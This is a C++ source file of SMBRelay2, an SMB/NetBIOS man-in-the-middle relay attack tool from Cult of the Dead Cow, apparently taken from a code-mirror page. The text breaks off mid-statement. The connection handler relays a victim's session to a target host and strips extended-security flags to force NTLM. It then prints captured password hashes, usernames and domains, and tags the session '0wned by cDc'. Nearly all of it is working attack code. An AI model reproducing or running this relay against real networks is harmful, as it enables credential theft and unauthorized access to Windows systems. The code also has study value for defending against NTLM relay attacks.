www.pudn.com > smbrelay.zip > smbrelay2.cpp
// smbrelay2.cpp : NetBIOS level SMB man-in-the-middle relay attack // Copyright 2001 Sir Dystic - Cult of the Dead Cow - sirdystic@cultdeadcow.com #pragma comment( lib, "netapi32.lib" ) #include#include #include #include #include #pragma pack(1) int g_LanaNum = 0; BOOL g_LocalGroupName = FALSE; DWORD g_FinalReadTimeout = 3000; BOOL g_bQuit = FALSE; int g_DebugLevel = 0; #define SERVERDOMAINNAME "PEE" #define SMBMAGICVAL MAKELONG(MAKEWORD(0xFF, 'S'), MAKEWORD('M', 'B') ) #define NULLNAME "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" #define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" #define NBCheck(x, s) if (NRC_GOODRET != x.ncb_retcode) { fprintf(stderr, "Line %d:%s: Got 0x%x from Netbios(): %s\n", __LINE__, s, x.ncb_retcode, NBErrorTxt(x.ncb_retcode)); } #define DATAGRAMBUFFERSIZE 16384 typedef struct { DWORD MagicVal; BYTE Command; union { struct { BYTE ErrorClass; BYTE Reserved; WORD ErrorCode; }; DWORD NTError; }; // flags field BYTE bLockAndReadWriteAndUnlock:1; BYTE bSendWithoutAck:1; BYTE bReservedBit:1; BYTE bNoCaseSensitivePaths:1; BYTE bCanonicalizedPaths:1; BYTE bOpportunisticLocks:1; BYTE bChangeNotify:1; BYTE bResponse:1; // 2nd flags field BYTE bLongFilenames:1; BYTE bExtendedAttributes:1; BYTE bFlags2IsLongName:1; BYTE bUnknown1:1; BYTE bUnknown2:1; BYTE bUnknown3:1; //*** BYTE bUnknown4:1; BYTE bUnknown5:1; //*** BYTE bUnknown6:1; BYTE bUnknown7:1; BYTE bUnknown8:1; BYTE bExtendedSecurity:1; BYTE bResolveViaDFS:1; BYTE bReadGrantedWithExecPerms:1; BYTE bNTErrorCodes:1; BYTE bUnicodeStrings:1; WORD PID; DWORD HdrReserved; WORD SessionID; WORD SequenceNumber; BYTE Padding[2]; WORD TreeID; WORD CallersProcess; WORD UserID; WORD MultiplexID; } SMBHEADER, *PSMBHEADER; typedef struct { BYTE Len; // should be 17 WORD DialectIndex; BYTE bUserLevelSecurity:1; BYTE bEncryptPasswords:1; BYTE bSecuritySignaturesEnabled:1; BYTE bSecuritySignaturesRequired:1; BYTE bReserved:4; WORD MaxPendingMpxRequests; WORD MaxVCsInClientAndServer; DWORD MaxTransmitBufferSize; DWORD MaxRawBufferSize; DWORD UniqueSessionKey; BYTE bReadAndWriteRawMode:1; BYTE bReadAndWriteMultiplexMode:1; BYTE bUnicode:1; BYTE bLargeFiles:1; BYTE bNTLM012Dialect:1; BYTE bRAPIviaRPC:1; BYTE bNT32BitStatus:1; BYTE bLevelIIOplocks:1; BYTE bLOCK_AND_READ_Command:1; BYTE bNT_FIND_SBM_Command:1; BYTE Unused1:2; BYTE bDFSAware:1; BYTE Unused2:3; BYTE Unused3; BYTE Unused4:5; BYTE bBulkTransfer:1; BYTE bCompressedData:1; BYTE bExtendedSecurity:1; DWORD SystemDate; DWORD SystemTime; WORD TimeZone; BYTE EncryptionKeyLen; WORD ByteCount; } SMBDIALECTSELECTHEADER, *PSMBDIALECTSELECTHEADER; #define SMBDIALECTSELECTHEADER_LEN 17 typedef struct { BYTE Len; // should be 10 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD MaxBufferSize; WORD MaxMpxCount; WORD VcNumber; // 0 = first (only), nonzero=additional VC number DWORD SessionKey; WORD PasswordLen; DWORD Reserved; WORD ByteCount; } SESSION_SETUP_ANDHEADER, *PSESSION_SETUP_ANDHEADER; #define SESSION_SETUP_ANDHEADER_LEN 10 typedef struct { BYTE Len; // should be 13 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD MaxBufferSize; WORD MaxMpxCount; WORD VcNumber; // 0 = first (only), nonzero=additional VC number DWORD SessionKey; WORD CaseInsensitivePasswordLen; WORD CaseSensitivePasswordLen; DWORD Reserved; DWORD ClientCaps; WORD ByteCount; } SESSION_SETUP_ANDHEADER2, *PSESSION_SETUP_ANDHEADER2; #define SESSION_SETUP_ANDHEADER2_LEN 13 typedef struct { BYTE Len; // should be 12 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD MaxBufferSize; WORD MaxMpxCount; WORD VcNumber; // 0 = first (only), nonzero=additional VC number DWORD SessionKey; WORD SecurityBlobLen; DWORD Reserved; DWORD ClientCaps; WORD ByteCount; } SESSION_SETUP_ANDHEADER2EX, *PSESSION_SETUP_ANDHEADER2EX; #define SESSION_SETUP_ANDHEADER2EX_LEN 12 typedef struct { BYTE Len; // should be 3 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD Action; WORD ByteCount; } SESSION_SETUP_ANDRESPONSEHEADER, *PSESSION_SETUP_ANDRESPONSEHEADER; // followed by // SZ Server native OS // SZ Server native LanMan // SZ Server primary domain #define SESSION_SETUP_ANDRESPONSEHEADER_LEN 3 typedef struct { BYTE Len; // should be 4 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD Flags; WORD PasswordLen; WORD ByteCount; } TREE_CONNECT_ANDHEADER, *PTREE_CONNECT_ANDHEADER; #define TREE_CONNECT_ANDHEADER_LEN 4 typedef struct { BYTE Len; // should be 3 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD OptionalSupport; WORD ByteCount; } TREE_CONNECT_ANDRESPONSEHEADER, *PTREE_CONNECT_ANDRESPONSEHEADER; // followed by // SZ Servicetype connected to // SZ NativeFileSystem #define TREE_CONNECT_ANDRESPONSEHEADER_LEN 3 typedef struct { BYTE Len; // should be 24 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; BYTE Reserved; WORD NameLength; DWORD Flags; DWORD RootDirectoryFid; DWORD AccessMask; LARGE_INTEGER AllocationSize; DWORD ExtFileAttributes; DWORD ShareAccess; DWORD CreateDisposition; DWORD CreateOptions; DWORD ImpersonationLevel; BYTE SecurityFlags; WORD ByteCount; } NT_CREATE_ANDHEADER, *PNT_CREATE_ANDHEADER; #define NT_CREATE_ANDHEADER_LEN 24 #define TYPE_SESSION_MESSAGE 0x00 #define TYPE_SESSION_REQUEST 0x81 #define TYPE_POSITIVE_SESSION_RESPONSE 0x82 #define TYPE_NEGATIVE_SESSION_RESPONSE 0x83 #define TYPE_RETARGET_SESSION_RESPONSE 0x84 #define TYPE_SESSION_KEEP_ALIVE 0x85 #define SMB_COM_CREATE_DIRECTORY 0x00 #define SMB_COM_DELETE_DIRECTORY 0x01 #define SMB_COM_OPEN 0x02 #define SMB_COM_CREATE 0x03 #define SMB_COM_CLOSE 0x04 #define SMB_COM_FLUSH 0x05 #define SMB_COM_DELETE 0x06 #define SMB_COM_RENAME 0x07 #define SMB_COM_QUERY_INFORMATION 0x08 #define SMB_COM_SET_INFORMATION 0x09 #define SMB_COM_READ 0x0A #define SMB_COM_WRITE 0x0B #define SMB_COM_LOCK_BYTE_RANGE 0x0C #define SMB_COM_UNLOCK_BYTE_RANGE 0x0D #define SMB_COM_CREATE_TEMPORARY 0x0E #define SMB_COM_CREATE_NEW 0x0F #define SMB_COM_CHECK_DIRECTORY 0x10 #define SMB_COM_PROCESS_EXIT 0x11 #define SMB_COM_SEEK 0x12 #define SMB_COM_LOCK_AND_READ 0x13 #define SMB_COM_WRITE_AND_UNLOCK 0x14 #define SMB_COM_READ_RAW 0x1A #define SMB_COM_READ_MPX 0x1B #define SMB_COM_READ_MPX_SECONDARY 0x1C #define SMB_COM_WRITE_RAW 0x1D #define SMB_COM_WRITE_MPX 0x1E #define SMB_COM_WRITE_COMPLETE 0x20 #define SMB_COM_SET_INFORMATION2 0x22 #define SMB_COM_QUERY_INFORMATION2 0x23 #define SMB_COM_LOCKING_ANDX 0x24 #define SMB_COM_TRANSACTION 0x25 #define SMB_COM_TRANSACTION_SECONDARY 0x26 #define SMB_COM_IOCTL 0x27 #define SMB_COM_IOCTL_SECONDARY 0x28 #define SMB_COM_COPY 0x29 #define SMB_COM_MOVE 0x2A #define SMB_COM_ECHO 0x2B #define SMB_COM_WRITE_AND_CLOSE 0x2C #define SMB_COM_OPEN_ANDX 0x2D #define SMB_COM_READ_ANDX 0x2E #define SMB_COM_WRITE_ANDX 0x2F #define SMB_COM_CLOSE_AND_TREE_DISC 0x31 #define SMB_COM_TRANSACTION2 0x32 #define SMB_COM_TRANSACTION2_SECONDARY 0x33 #define SMB_COM_FIND_CLOSE2 0x34 #define SMB_COM_FIND_NOTIFY_CLOSE 0x35 #define SMB_COM_TREE_CONNECT 0x70 #define SMB_COM_TREE_DISCONNECT 0x71 #define SMB_COM_NEGOTIATE 0x72 #define SMB_COM_SESSION_SETUP_ANDX 0x73 #define SMB_COM_LOGOFF_ANDX 0x74 #define SMB_COM_TREE_CONNECT_ANDX 0x75 #define SMB_COM_QUERY_INFORMATION_DISK 0x80 #define SMB_COM_SEARCH 0x81 #define SMB_COM_FIND 0x82 #define SMB_COM_FIND_UNIQUE 0x83 #define SMB_COM_NT_TRANSACT 0xA0 #define SMB_COM_NT_TRANSACT_SECONDARY 0xA1 #define SMB_COM_NT_CREATE_ANDX 0xA2 #define SMB_COM_NT_CANCEL 0xA4 #define SMB_COM_OPEN_PRINT_FILE 0xC0 #define SMB_COM_WRITE_PRINT_FILE 0xC1 #define SMB_COM_CLOSE_PRINT_FILE 0xC2 #define SMB_COM_GET_PRINT_QUEUE 0xC3 #define SMB_COM_READ_BULK 0xD8 #define SMB_COM_WRITE_BULK 0xD9 #define SMB_COM_WRITE_BULK_DATA 0xDA #define SMB_NONE 0xFF // The original MSNET SMB protocol (otherwise known as the "core protocol") #define LANMANDIALECT_PCNETWORKPROGRAM10 "PC NETWORK PROGRAM 1.0" // Some versions of the original MSNET defined this as an alternate to the core protocol name #define LANMANDIALECT_PCLAN10 "PCLAN1.0" // This is used for the MS-NET 1.03 product. It defines Lock&Read,Write&Unlock, and a special version of raw read and raw write. #define LANMANDIALECT_MICROSOFTNETWORKS103 "MICROSOFT NETWORKS 1.03" // This is the DOS LANMAN 1.0 specific protocol. It is equivalent to the LANMAN 1.0 protocol, except the server is required to map errors from the OS/2 error to an appropriate DOS error. #define LANMANDIALECT_MICROSOFTNETWORKS30 "MICROSOFT NETWORKS 3.0" // This is the first version of the full LANMAN 1.0 protocol #define LANMANDIALECT_LANMAN10 "LANMAN1.0" // This is the first version of the full LANMAN 2.0 protocol #define LANMANDIALECT_LM12X002 "LM1.2X002" // This is the DOS equivalent of the LM1.2X002 protocol. It is identical to the LM1.2X002 protocol, but the server will perform error mapping to appropriate DOS errors. #define LANMANDIALECT_DOSLM12X002 "DOS LM1.2X002" // DOS LANMAN2.1 #define LANMANDIALECT_DOSLANMAN21 "DOS LANMAN2.1" // OS/2 LANMAN2.1 #define LANMANDIALECT_LANMAN21 "LANMAN2.1" // Windows for Workgroups Version 1.0 #define LANMANDIALECT_WFW31A "Windows for Workgroups 3.1a" // The SMB protocol designed for NT networking. This has special SMBs which duplicate the NT semantics. #define LANMANDIALECT_NTLM012 "NT LM 0.12" #define SMBENCRYPTIONKEYLEN 8 char *NBErrorTxt(int Er) { char *Ret = "Unknown"; switch (Er) { case NRC_GOODRET: Ret = "good return"; break; case NRC_BUFLEN: Ret = "illegal buffer length"; break; case NRC_ILLCMD: Ret = "illegal command"; break; case NRC_CMDTMO: Ret = "command timed out"; break; case NRC_INCOMP: Ret = "message incomplete, issue another command"; break; case NRC_BADDR: Ret = "illegal buffer address"; break; case NRC_SNUMOUT: Ret = "session number out of range"; break; case NRC_NORES: Ret = "no resource available"; break; case NRC_SCLOSED: Ret = "session closed"; break; case NRC_CMDCAN: Ret = "command cancelled"; break; case NRC_DUPNAME: Ret = "duplicate name"; break; case NRC_NAMTFUL: Ret = "name table full"; break; case NRC_ACTSES: Ret = "no deletions, name has active sessions"; break; case NRC_LOCTFUL: Ret = "local session table full"; break; case NRC_REMTFUL: Ret = "remote session table full"; break; case NRC_ILLNN: Ret = "illegal name number"; break; case NRC_NOCALL: Ret = "no callname"; break; case NRC_NOWILD: Ret = "cannot put * in NCB_NAME"; break; case NRC_INUSE: Ret = "name in use on remote adapter"; break; case NRC_NAMERR: Ret = "name deleted"; break; case NRC_SABORT: Ret = "session ended abnormally"; break; case NRC_NAMCONF: Ret = "name conflict detected"; break; case NRC_IFBUSY: Ret = "interface busy, IRET before retrying"; break; case NRC_TOOMANY: Ret = "too many commands outstanding, retry later"; break; case NRC_BRIDGE: Ret = "ncb_lana_num field invalid"; break; case NRC_CANOCCR: Ret = "command completed while cancel occurring"; break; case NRC_CANCEL: Ret = "command not valid to cancel"; break; case NRC_DUPENV: Ret = "name defined by anther local process"; break; case NRC_ENVNOTDEF: Ret = "environment undefined. RESET required"; break; case NRC_OSRESNOTAV: Ret = "required OS resources exhausted"; break; case NRC_MAXAPPS: Ret = "max number of applications exceeded"; break; case NRC_NOSAPS: Ret = "no saps available for netbios"; break; case NRC_NORESOURCES: Ret = "requested resources are not available"; break; case NRC_INVADDRESS: Ret = "invalid ncb address or length > segment"; break; case NRC_INVDDID: Ret = "invalid NCB DDID"; break; case NRC_LOCKFAIL: Ret = "lock of user area failed"; break; case NRC_OPENERR: Ret = "NETBIOS not loaded"; break; case NRC_SYSTEM: Ret = "system error"; break; case NRC_PENDING: Ret = "asynchronous command is not yet finished"; break; } return Ret; } void PrintNetBIOSName(unsigned char *name) { BYTE BinVal; char PrintName[NCBNAMSZ]; int x; memcpy(PrintName, name, NCBNAMSZ-1); PrintName[NCBNAMSZ-1] = 0; BinVal = name[NCBNAMSZ-1]; fprintf(stderr, "%s", PrintName); for (x = 0; x < NCBNAMSZ - (int)strlen(PrintName); x++) fprintf(stderr, " "); fprintf(stderr, "<%02x>", BinVal); } void ParamToNetBIOSName(char *dest, char *src) { int x, len; char *tmpptr; char *BinValPtr = strchr(src, '\\'); if (BinValPtr != NULL) { *BinValPtr = 0; tmpptr = BinValPtr - 1; } else { tmpptr = src + strlen(src) - 1; // point to last char in string } while (tmpptr > src && *tmpptr == ' ') { *tmpptr = 0; tmpptr--; } len = strlen(src); if (len > NCBNAMSZ-1) len = NCBNAMSZ-1; if (strcmp(src, WILDCARDNAME) == 0) memset(dest, 0, NCBNAMSZ-1); else memset(dest, ' ', NCBNAMSZ-1); memcpy(dest, src, len); if (BinValPtr != NULL) { dest[NCBNAMSZ-1] = (unsigned char)strtoul(BinValPtr+1, NULL, 16); } else dest[NCBNAMSZ-1] = 0; // convert to upper case for (x = 0; x < NCBNAMSZ-1; x++) dest[x] = toupper(dest[x]); } void PrintHexString(BYTE *src, int len) { int x; if (len == 0) return; for (x = 0; x < len; x++) { fprintf(stderr, "%02X", *src); src++; } fprintf(stderr, " "); } const char *GetCommandType(BYTE Command) { static char retbuff[64]; char * ret = retbuff; switch(Command) { case SMB_COM_CREATE_DIRECTORY: ret = "SMB_COM_CREATE_DIRECTORY"; break; case SMB_COM_DELETE_DIRECTORY: ret = "SMB_COM_DELETE_DIRECTORY"; break; case SMB_COM_OPEN: ret = "SMB_COM_OPEN"; break; case SMB_COM_CREATE: ret = "SMB_COM_CREATE"; break; case SMB_COM_CLOSE: ret = "SMB_COM_CLOSE"; break; case SMB_COM_FLUSH: ret = "SMB_COM_FLUSH"; break; case SMB_COM_DELETE: ret = "SMB_COM_DELETE"; break; case SMB_COM_RENAME: ret = "SMB_COM_RENAME"; break; case SMB_COM_QUERY_INFORMATION: ret = "SMB_COM_QUERY_INFORMATION"; break; case SMB_COM_SET_INFORMATION: ret = "SMB_COM_SET_INFORMATION"; break; case SMB_COM_READ: ret = "SMB_COM_READ"; break; case SMB_COM_WRITE: ret = "SMB_COM_WRITE"; break; case SMB_COM_LOCK_BYTE_RANGE: ret = "SMB_COM_LOCK_BYTE_RANGE"; break; case SMB_COM_UNLOCK_BYTE_RANGE: ret = "SMB_COM_UNLOCK_BYTE_RANGE"; break; case SMB_COM_CREATE_TEMPORARY: ret = "SMB_COM_CREATE_TEMPORARY"; break; case SMB_COM_CREATE_NEW: ret = "SMB_COM_CREATE_NEW"; break; case SMB_COM_CHECK_DIRECTORY: ret = "SMB_COM_CHECK_DIRECTORY"; break; case SMB_COM_PROCESS_EXIT: ret = "SMB_COM_PROCESS_EXIT"; break; case SMB_COM_SEEK: ret = "SMB_COM_SEEK"; break; case SMB_COM_LOCK_AND_READ: ret = "SMB_COM_LOCK_AND_READ"; break; case SMB_COM_WRITE_AND_UNLOCK: ret = "SMB_COM_WRITE_AND_UNLOCK"; break; case SMB_COM_READ_RAW: ret = "SMB_COM_READ_RAW"; break; case SMB_COM_READ_MPX: ret = "SMB_COM_READ_MPX"; break; case SMB_COM_READ_MPX_SECONDARY: ret = "SMB_COM_READ_MPX_SECONDARY"; break; case SMB_COM_WRITE_RAW: ret = "SMB_COM_WRITE_RAW"; break; case SMB_COM_WRITE_MPX: ret = "SMB_COM_WRITE_MPX"; break; case SMB_COM_WRITE_COMPLETE: ret = "SMB_COM_WRITE_COMPLETE"; break; case SMB_COM_SET_INFORMATION2: ret = "SMB_COM_SET_INFORMATION2"; break; case SMB_COM_QUERY_INFORMATION2: ret = "SMB_COM_QUERY_INFORMATION2"; break; case SMB_COM_LOCKING_ANDX: ret = "SMB_COM_LOCKING_ANDX"; break; case SMB_COM_TRANSACTION: ret = "SMB_COM_TRANSACTION"; break; case SMB_COM_TRANSACTION_SECONDARY: ret = "SMB_COM_TRANSACTION_SECONDARY"; break; case SMB_COM_IOCTL: ret = "SMB_COM_IOCTL"; break; case SMB_COM_IOCTL_SECONDARY: ret = "SMB_COM_IOCTL_SECONDARY"; break; case SMB_COM_COPY: ret = "SMB_COM_COPY"; break; case SMB_COM_MOVE: ret = "SMB_COM_MOVE"; break; case SMB_COM_ECHO: ret = "SMB_COM_ECHO"; break; case SMB_COM_WRITE_AND_CLOSE: ret = "SMB_COM_WRITE_AND_CLOSE"; break; case SMB_COM_OPEN_ANDX: ret = "SMB_COM_OPEN_ANDX"; break; case SMB_COM_READ_ANDX: ret = "SMB_COM_READ_ANDX"; break; case SMB_COM_WRITE_ANDX: ret = "SMB_COM_WRITE_ANDX"; break; case SMB_COM_CLOSE_AND_TREE_DISC: ret = "SMB_COM_CLOSE_AND_TREE_DISC"; break; case SMB_COM_TRANSACTION2: ret = "SMB_COM_TRANSACTION2"; break; case SMB_COM_TRANSACTION2_SECONDARY: ret = "SMB_COM_TRANSACTION2_SECONDARY"; break; case SMB_COM_FIND_CLOSE2: ret = "SMB_COM_FIND_CLOSE2"; break; case SMB_COM_FIND_NOTIFY_CLOSE: ret = "SMB_COM_FIND_NOTIFY_CLOSE"; break; case SMB_COM_TREE_CONNECT: ret = "SMB_COM_TREE_CONNECT"; break; case SMB_COM_TREE_DISCONNECT: ret = "SMB_COM_TREE_DISCONNECT"; break; case SMB_COM_NEGOTIATE: ret = "SMB_COM_NEGOTIATE"; break; case SMB_COM_SESSION_SETUP_ANDX: ret = "SMB_COM_SESSION_SETUP_ANDX"; break; case SMB_COM_LOGOFF_ANDX: ret = "SMB_COM_LOGOFF_ANDX"; break; case SMB_COM_TREE_CONNECT_ANDX: ret = "SMB_COM_TREE_CONNECT_ANDX"; break; case SMB_COM_QUERY_INFORMATION_DISK: ret = "SMB_COM_QUERY_INFORMATION_DISK"; break; case SMB_COM_SEARCH: ret = "SMB_COM_SEARCH"; break; case SMB_COM_FIND: ret = "SMB_COM_FIND"; break; case SMB_COM_FIND_UNIQUE: ret = "SMB_COM_FIND_UNIQUE"; break; case SMB_COM_NT_TRANSACT: ret = "SMB_COM_NT_TRANSACT"; break; case SMB_COM_NT_TRANSACT_SECONDARY: ret = "SMB_COM_NT_TRANSACT_SECONDARY"; break; case SMB_COM_NT_CREATE_ANDX: ret = "SMB_COM_NT_CREATE_ANDX"; break; case SMB_COM_NT_CANCEL: ret = "SMB_COM_NT_CANCEL"; break; case SMB_COM_OPEN_PRINT_FILE: ret = "SMB_COM_OPEN_PRINT_FILE"; break; case SMB_COM_WRITE_PRINT_FILE: ret = "SMB_COM_WRITE_PRINT_FILE"; break; case SMB_COM_CLOSE_PRINT_FILE: ret = "SMB_COM_CLOSE_PRINT_FILE"; break; case SMB_COM_GET_PRINT_QUEUE: ret = "SMB_COM_GET_PRINT_QUEUE"; break; default: sprintf(retbuff, "Command 0x%02X", Command); break; } return ret; } BOOL NBAddName (char *LocalName, NCB *pncb = NULL) { NCB ncb; if (pncb == NULL) pncb = &ncb; memset (pncb, 0, sizeof (NCB)); if (g_LocalGroupName) pncb->ncb_command = NCBADDGRNAME; else pncb->ncb_command = NCBADDNAME; pncb->ncb_lana_num = g_LanaNum; memcpy(pncb->ncb_name, LocalName, NCBNAMSZ); fprintf(stderr, "Registering NetBIOS name: "); PrintNetBIOSName((unsigned char *)LocalName); fprintf(stderr, "...\n"); Netbios (pncb); NBCheck ((*pncb), "NBAddName"); return (NRC_GOODRET == pncb->ncb_retcode); } BOOL NBCall(PNCB pncb, char *RemoteName) { fprintf(stderr, "Calling name: "); PrintNetBIOSName((unsigned char *)RemoteName); fprintf(stderr, "...\n"); pncb->ncb_command = NCBCALL; memcpy(pncb->ncb_callname, RemoteName, NCBNAMSZ); pncb->ncb_rto = 1; Netbios (pncb); if (NRC_GOODRET != pncb->ncb_retcode) return FALSE; return TRUE; } BOOL NBListen(PNCB pncb, char *RemoteName = WILDCARDNAME) { fprintf(stderr, "Listening for connections from name: "); PrintNetBIOSName((unsigned char *)RemoteName); fprintf(stderr, "...\n"); pncb->ncb_command = NCBLISTEN; memcpy(pncb->ncb_callname, RemoteName, NCBNAMSZ); pncb->ncb_rto = 1; Netbios (pncb); if (NRC_GOODRET != pncb->ncb_retcode) return FALSE; fprintf(stderr, "Connection received from name: "); PrintNetBIOSName(pncb->ncb_callname); fprintf(stderr, "\n"); return TRUE; } BOOL NBSend(PNCB pncb, char *buff, WORD len) { pncb->ncb_command = NCBSEND; pncb->ncb_buffer = (unsigned char *)buff; pncb->ncb_length = len; Netbios (pncb); NBCheck((*pncb), "NBSend"); return (NRC_GOODRET == pncb->ncb_retcode); } BOOL NBRecv(PNCB pncb, unsigned char *buff, WORD len) { pncb->ncb_command = NCBRECV; pncb->ncb_buffer = buff; pncb->ncb_length = len; Netbios (pncb); if ( pncb->ncb_retcode == NRC_CMDTMO ) pncb->ncb_length = 0; else NBCheck((*pncb), "NBRecv"); return (NRC_GOODRET == pncb->ncb_retcode || NRC_CMDTMO == pncb->ncb_retcode ); } BOOL NBReset (int nLana, int nSessions, int nNames) { NCB ncb; memset (&ncb, 0, sizeof (ncb)); ncb.ncb_command = NCBRESET; ncb.ncb_lsn = 0; // Allocate new lana_num resources ncb.ncb_lana_num = nLana; ncb.ncb_callname[0] = nSessions; // maximum sessions ncb.ncb_callname[2] = nNames; // maximum names Netbios (&ncb); NBCheck (ncb, "NBReset"); return (NRC_GOODRET == ncb.ncb_retcode); } BOOL NBHangup ( PNCB pncb) { pncb->ncb_command = NCBHANGUP; Netbios (pncb); NBCheck ((*pncb), "NBHangup"); return (NRC_GOODRET == pncb->ncb_retcode); } void Usage() { puts("SMBRelay2 [Options]"); puts(" Options:"); puts(" /A LanaNum - Use LanaNum"); puts(" Defaults to 0"); puts(" /D DebugLevel - Level of debug messages, valid levels 0 - 3"); puts(" Defaults to 0"); puts(" /L LocalName - Listen for primary connection on LocalName"); puts(" Defaults to SERVER"); puts(" /R RelayName - Listen for relay connection on RelayName"); puts(" Defaults to RELAY"); puts(" /S SourceName - Use SourceName when connecting to target"); puts(" Defaults to CDC4EVER"); puts(" /T TargetName - Connect to TargetName for relay"); puts(" Defaults to connecting back to client"); puts(" /? /H - This help"); } char TargetName[32] = NULLNAME; char SourceName[32] = "CDC4EVER \0"; char RelayName[32] = "RELAY "; BOOL RegisterSourceName = TRUE; void ConnectionHandlerThread(void *arg) { char buff[65535]; char NameBuff[NCBNAMSZ]; BYTE challenge[8]; BYTE caseinsensitivepassword[24]; BYTE casesensitivepassword[24]; char username[64]; char hostname[64]; DWORD SessionID; char negotiateheaders[1024]; char logonandconnectheaders[1024]; WORD UID; NCB inncb, outncb; int x; memcpy(&inncb, arg, sizeof(NCB)); if (memcmp(TargetName, NULLNAME, NCBNAMSZ) == 0) memcpy(NameBuff, inncb.ncb_callname, NCBNAMSZ); else memcpy(NameBuff, TargetName, NCBNAMSZ); NameBuff[NCBNAMSZ-1] = 0x20; memcpy(hostname, NameBuff, NCBNAMSZ-1); char *ptr = hostname + NCBNAMSZ-1; do { *ptr = 0; ptr--; } while (*ptr == ' '); if (RegisterSourceName ) { RegisterSourceName = FALSE; if (!NBAddName(SourceName, &outncb)) { NBHangup(&inncb); return; } } if (!NBCall(&outncb, NameBuff)) { NBHangup(&inncb); return ; } PSMBHEADER psmbheader = (PSMBHEADER)(buff); PSMBDIALECTSELECTHEADER pdialectselectheader = (PSMBDIALECTSELECTHEADER)(psmbheader+1); PSESSION_SETUP_ANDHEADER psessionsetupand = (PSESSION_SETUP_ANDHEADER)(psmbheader+1); PSESSION_SETUP_ANDHEADER2 psessionsetupand2 = (PSESSION_SETUP_ANDHEADER2)(psmbheader+1); PSESSION_SETUP_ANDHEADER2EX psessionsetupand2ex = ( PSESSION_SETUP_ANDHEADER2EX)(psmbheader+1); PSESSION_SETUP_ANDRESPONSEHEADER psessionsetupandresponse = (PSESSION_SETUP_ANDRESPONSEHEADER)(psmbheader + 1); PTREE_CONNECT_ANDHEADER ptreeconnectand = (PTREE_CONNECT_ANDHEADER)(psmbheader+1); BOOL bConnected = FALSE; BOOL bContinue = TRUE; x = 0; while (bContinue && !bConnected && !g_bQuit) { if (g_DebugLevel > 2) fprintf(stderr, "Receiving input block\n"); if (!NBRecv(&inncb, (PUCHAR)buff, sizeof(buff))) { NBHangup(&outncb); return; } if (psmbheader->MagicVal == SMBMAGICVAL) { fprintf(stderr, "%s\n", GetCommandType(psmbheader->Command) ); // Downgrade security to NTLM psmbheader->bExtendedSecurity = FALSE; psmbheader->bNTErrorCodes = FALSE; // psmbheader->bUnicodeStrings = FALSE; psmbheader->bFlags2IsLongName = FALSE; switch (psmbheader->Command) { case SMB_COM_NEGOTIATE: // set to NT style connection (no extended security) psmbheader->bUnicodeStrings = FALSE; psmbheader->bNTErrorCodes = FALSE; psmbheader->bUnknown1 = FALSE; psmbheader->bUnknown2 = FALSE; psmbheader->bUnknown3 = FALSE; psmbheader->bUnknown4 = FALSE; psmbheader->bUnknown5 = FALSE; psmbheader->bUnknown6 = FALSE; psmbheader->bUnknown7 = FALSE; psmbheader->bUnknown8 = FALSE; psmbheader->bExtendedSecurity = FALSE; break; case SMB_COM_SESSION_SETUP_ANDX: switch (psessionsetupand->Len) { case SESSION_SETUP_ANDHEADER_LEN: // 9x? fprintf(stderr, "Password length: %d\n", psessionsetupand->PasswordLen ); if (psessionsetupand->PasswordLen > 1) { fprintf(stderr, "Password: "); PrintHexString((BYTE *)(psessionsetupand + 1), psessionsetupand->PasswordLen ); fprintf(stderr, "\n"); bContinue = FALSE; // bConnected = FALSE; } break; case SESSION_SETUP_ANDHEADER2_LEN: // NT 4 fprintf(stderr, "Password lengths: %d %d\n", psessionsetupand2->CaseInsensitivePasswordLen, psessionsetupand2->CaseSensitivePasswordLen ); if (psessionsetupand2->CaseInsensitivePasswordLen > 1) { fprintf(stderr, "Case insensitive password: "); PrintHexString((BYTE *)(psessionsetupand2 + 1), psessionsetupand2->CaseInsensitivePasswordLen ); fprintf(stderr, "\n"); memcpy(caseinsensitivepassword, psessionsetupand2 + 1, 24); } if (psessionsetupand2->CaseSensitivePasswordLen > 1) { fprintf(stderr, "Case sensitive password: "); PrintHexString((BYTE *)(psessionsetupand2 + 1) + psessionsetupand2->CaseInsensitivePasswordLen, psessionsetupand2->CaseSensitivePasswordLen ); fprintf(stderr, "\n"); memcpy(casesensitivepassword, (BYTE *)(psessionsetupand2 + 1) + psessionsetupand2->CaseInsensitivePasswordLen, 24); } if (/* psmbheader->bUnicodeStrings */TRUE) { WCHAR *ptr = (WCHAR *)(psessionsetupand2 + 1); ptr = (WCHAR *)((char *)ptr + psessionsetupand2->CaseInsensitivePasswordLen + psessionsetupand2->CaseSensitivePasswordLen + 1); fprintf(stderr, "Username: \"%S\"\n", ptr); sprintf(username, "%S", ptr); ptr += wcslen(ptr) + 1; fprintf(stderr, "Domain: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; fprintf(stderr, "OS: \"%S\"\n", ptr); #if 1 _snwprintf(ptr, wcslen(ptr) , L"0wned by cDc "); #endif ptr += wcslen(ptr) + 1; fprintf(stderr, "Lanman type: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; fprintf(stderr, "???: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; } else { char *ptr = (char *)(psessionsetupand2 + 1); ptr += psessionsetupand2->CaseInsensitivePasswordLen + psessionsetupand2->CaseSensitivePasswordLen + 1; fprintf(stderr, "Username: \"%s\"\n", ptr); strncpy(username, ptr, sizeof(username)); ptr += strlen(ptr) + 1; fprintf(stderr, "Domain: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; fprintf(stderr, "OS: \"%s\"\n", ptr); ptr += strlen(ptr) + 1; fprintf(stderr, "Lanman type: \"%s\"\n", ptr); } if (psessionsetupand2->AndXCommand == SMB_COM_TREE_CONNECT_ANDX) { // add TREE_CONNECT_AND portion to connect to IPC$ psessionsetupand2->AndXOffset = sizeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 3; PTREE_CONNECT_ANDHEADER pTreeConnectAnd2 = (PTREE_CONNECT_ANDHEADER)(PTREE_CONNECT_ANDRESPONSEHEADER)( (char 